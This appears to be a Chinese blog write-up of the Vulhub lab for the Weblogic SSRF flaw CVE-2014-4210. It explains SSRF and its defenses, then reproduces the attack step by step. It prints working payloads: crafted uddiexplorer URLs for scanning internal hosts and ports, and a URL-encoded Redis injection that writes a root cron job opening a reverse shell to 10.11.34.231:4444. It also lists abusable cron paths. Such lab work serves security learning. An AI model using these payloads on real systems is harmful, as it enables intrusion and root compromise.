[Vulhub] Weblogic SSRF 漏洞(CVE-2014-4210)

0x00 预备知识

01 SSRF概念:
SSRF(服务端请求伪造),指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

简单的说就是利用一个可发起网络请求的服务当作跳板来攻击其他服务

02 SSRF原理
SSRF的实质是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。一般情况下, SSRF攻击的目标是外网无法访问的内部系统,黑客可以利用SSRF漏洞获取内部系统的一些信息(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

03 SSRF的挖掘

  1. 通过URL地址分享网页内容
  2. 转码服务
  3. 在线翻译
  4. 能够对外发起网络请求的地方,就可能存在SSRF漏洞。

04 SSRF攻击方式
攻击者想要访问主机B上的服务,但是由于存在防火墙或者主机B是属于内网主机等原因导致攻击者无法直接访问主机B。而服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,从而获取主机B的一些信息。

05 SSRF的危害

  1. 内外网的端口和服务扫描
  2. 攻击运行在内网或本地的应用程序
  3. 对内网web应用进行指纹识别,识别企业内部的资产信息
  4. 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2漏洞利用,SQL注入等)
  5. 利用file协议读取本地敏感数据文件等
  6. 请求大文件,始终保持连接Keep-Alive Always,造成拒绝服务

06 SSRF的防御

  1. 正则匹配法(用@, 用dnslog, 用xip.io绕过)
  2. 统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。
  3. 限制请求的端口,比如80,443,8080,8090。
  4. 过滤返回的信息,如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
  5. 黑名单内网ip
  6. 禁用其他协议,允许http,https。可以防止类似于file:///gopher://ftp://等引起的问题。

0x01 漏洞描述

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看 uddiexplorer 应用。


0x02 影响版本

weblogic 10.0.2
weblogic 10.3.6


0x03 靶场环境

weblogic 10.3.6:https://vulhub.org/#/environments/weblogic/ssrf/


0x04 漏洞分析

Weblogic SSRF 漏洞出现在 uddi 组件(所以安装Weblogic时如果没有选择 uddi 组件那么就不会有该漏洞),
更准确地说是 uudi 包实现包 uddiexplorer.war 下的 SearchPublicRegistries.jsp。
所以修复的直接方法是将 SearchPublicRegistries.jsp 直接删除就好了

源码分析:https://zhuanlan.zhihu.com/p/266211467


0x05 漏洞复现

环境搭建完成后,访问http://your-ip:7001/uddiexplorer/,无需登录查看 uddiexplorer 应用。
在这里插入图片描述
01 探测存活IP

SSRF 漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,构造payload:

http://10.11.45.150:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://10.11.35.243

在这里插入图片描述
若 IP 不存在则为如下情况:
在这里插入图片描述
02 探测开放端口
在这里插入图片描述
在这里插入图片描述
通过错误的不同,可暴破出内网 IP 开放的端口。


0x06 注入HTTP头,利用Redis反弹shell

Weblogic 的 SSRF 有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,
而某些服务(如 redis)是通过换行符来分隔每条命令,也就说我们可以通过该 SSRF 攻击内网中的 redis 服务器。

首先,通过 ssrf 探测内网中的 redis 服务器,应为这个漏洞是用 docker 环境搭建的,所以 redis 服务器的内网即是
docker 的网段(docker 环境的网段一般是 172.*):
在这里插入图片描述
利用 SSRF 探测内网 redis 是否开放
在这里插入图片描述
发送三条重新分发命令,将 shell 脚本写入/etc/crontab,利用计划任务反弹shell:

set 1 "\n\n\n\n* * * * * root bash -c 'sh -i >& /dev/tcp/10.11.34.231/4444 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

转换成URL编码,注意,换行符是“\r\n”,也就是“%0D%0A”。:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.11.34.231%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

将 url 编码后的字符串触发 SSRF 的域名,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.11.34.231%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: 10.11.45.150:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=BKRkg3JY7T2cpNLFtLNPD3DJvMy1TRrmXBFnYKzJk6tXvnsY7vJS!1942797293
Upgrade-Insecure-Requests: 1


在这里插入图片描述
成功反弹:
在这里插入图片描述
补充一下,可进行利用的cron有以下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也和/etc/crontab相同。 。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

参考链接:https://www.cnblogs.com/flokz/p/weblogic_SSRF.html(附批量检测脚本)

  • 4
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值